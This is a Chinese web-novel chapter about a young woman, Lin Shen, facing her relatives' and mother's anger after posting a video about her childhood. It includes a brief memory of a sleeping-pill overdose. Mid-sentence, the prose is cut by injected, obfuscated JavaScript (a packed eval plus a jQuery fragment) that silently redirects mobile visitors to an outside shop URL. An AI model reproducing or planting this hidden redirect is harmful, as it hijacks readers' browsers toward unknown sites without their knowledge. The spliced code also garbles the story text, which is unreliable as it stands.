第二天早上九点,林深是被电话吵醒的。不是母亲,不是医院,是一个陌生号码。她迷迷糊糊接起来,对面沉默了两秒,然后问:
“你是林深吗?”
声音有些耳熟。林深皱了皱眉:
“哪位?”
对面没有回答,只是冷笑了一声:
“现在长本事了。”
电话挂断。林深坐在床上愣了几秒,慢慢清醒过来。她知道是谁了。叔叔,或者伯伯,反正是那些小时候总坐在她家客厅喝茶的人。总说为了她好的人,总说长大以后就明白的人。视频发出去不到一天,他们就看见了,比她想得还快。
后台已经彻底乱了。评论区像两个世界。有人说她勇敢,有人说她恶心。有人说家家有本难念的经,有人说亲戚真可怕。也有人说:“一个孩子不会无缘无故被送走。”“她肯定隐瞒了什么。”“表妹只是结果,原因是什么?”林深盯着那些字看了很久,然后退出后台。其实他们说得没错。她一直在绕,绕开真正开始的地方,绕开那个夏天,绕开那一天。有些事情不是忘了,是身体比记忆更诚实。只要一想到,就会开始胸闷,开始手抖,开始重新回到那个房间。
十点半,母亲打来电话。林深没接。一分钟后,第二个,第三个,第四个,第五个。来福被铃声吵醒,趴在窝里抬头看着她。最后,她还是接了。电话刚通,母亲的声音就冲了出来:
“林深,你是不是疯了?”
“你知道多少人给我打电话吗?”
“你知道他们现在怎么说吗?”
“你到底想干什么?”
林深坐在沙发上,阳光从窗帘缝里照进来,落在地板上。她忽然想起小时候有一次考试考砸,母亲也是这样站在她面前,一遍一遍问:“你到底想干什么?”好像她活着本身,就是一件做错的事。电话里,母亲还在说。说亲戚,说父亲,说现在特殊时期,说不要再添乱。一直说,直到声音慢慢低下去。林深才轻轻叫了一声:
“妈。”
电话那头安静下来。林深问:
“你觉得我说的是假的吗?”
沉默。
“表妹没住进来过吗?”
沉默。
“我没被送走过吗?”
沉默。
“我没住过老房子吗?”
还是沉默。电话里只剩呼吸声。很久以后,母亲低声说:
“事情不是你想的那样。”
林深笑了一下。她发现所有大人都喜欢这句话——事情不是你想的那样。可从来没人告诉她,到底是哪样。母亲声音很低:
“你小时候太倔了。你根本不知道,我们有多难。你爸爸每天都在被人议论,家里天天吵,那些亲戚天天上门……”
林深听着,胸口越来越闷。她当然知道。可为什么所有人的难处都能被理解,只有她的不行。她轻声问:
“那我呢?”
电话那头停住。
“有人问过我难不难吗?”
安静。
“你们说送我走是为了我好。那两年里,有人问过我想不想回来吗?”
电话里忽然传来很轻的抽气声。林深愣住了。她已经很多年没听过母亲哭。小时候没有,农村回来没有,老房子那几年没有,安眠药那次也没有。现在却哭了。哭得很轻,像捂着嘴。很久以后,母亲才开口,声音已经哑了:
“林深……有些事情,不是你看到的那样。我那时候……也没有办法。”
又是这句话。没有办法。林深闭上眼,忽然觉得很累。累得不想吵,也不想赢。有些伤口太久了,久到连愤怒都快磨没了。她轻轻说:
“我知道了。”
然后挂断电话。屋里重新安静下来。来福慢慢走过来,把脑袋放在她脚边。林深低下头,摸了摸它。手机屏幕还亮着,后台消息还在疯狂增加。亲戚在骂,网友在吵,母亲在哭。而她忽然发现,原来这么多年,不止她一个人困在那个房间里。只是每个人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691702|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都没有办法。
中午的时候,母亲发来一条消息,只有一句话:
“奶奶今天醒了一会儿。”
林深立刻打字:
“认人了吗?”
过了很久,母亲回:
“没有。但她一直往门口看。”
林深盯着那几个字,心里忽然酸了一下。不认识人了,却还在等人。那她在等谁呢?爷爷吗?还是年轻时候的自己?或者某一个已经离开很久的人。她不知道。
下午,后台数据彻底失控。点赞、评论、私信不停往上涨。喜欢她的人越来越多,骂她的人也越来越多。一个高赞评论停在那里:“一个孩子不会无缘无故被送走。她一定隐瞒了最重要的东西。”下面几百条回复。有人猜,有人编,有人分析。林深看着那句话,很久没有动。其实他们说得对。她一直在绕开,绕开那个夏天,绕开那个客厅,绕开桌上那一叠纸,绕开父亲最后看她的眼神。
傍晚的时候,来福趴在她腿边睡着了。林深低头看着它,忽然想起很多年前,安眠药那次。那时候房间很暗,音乐没有关,电脑还亮着。后来发生了什么,她已经记不清了。只记得四周很黑,没有声音,没有上下左右,没有身体,没有名字。她不知道自己在那里待了多久,也许几秒,也许很久。然后忽然有无数画面冲进脑子,很快,快得像幻灯片。很多人,很多地方,很多她不认识的人。她拼命想抓住什么,可下一秒,一切都消失了。等她再睁开眼,已经在医院。很多年过去,她始终记不得那些画面,却一直记得一种很奇怪的感觉——熟悉得像她好像忘记了一件特别重要的事。非常重要。可无论怎么想,都想不起来。
夜里十点,后台还在涨。骂她的人越来越多,喜欢她的人也越来越多。林深关掉评论区,打开空白文档。光标一闪一闪。很久以后,她终于打下第一句话:那年也是夏天,热得厉害。打完以后,她停住了。窗外很安静,来福趴在脚边睡着。而她知道,有些事情,终于绕不过去了。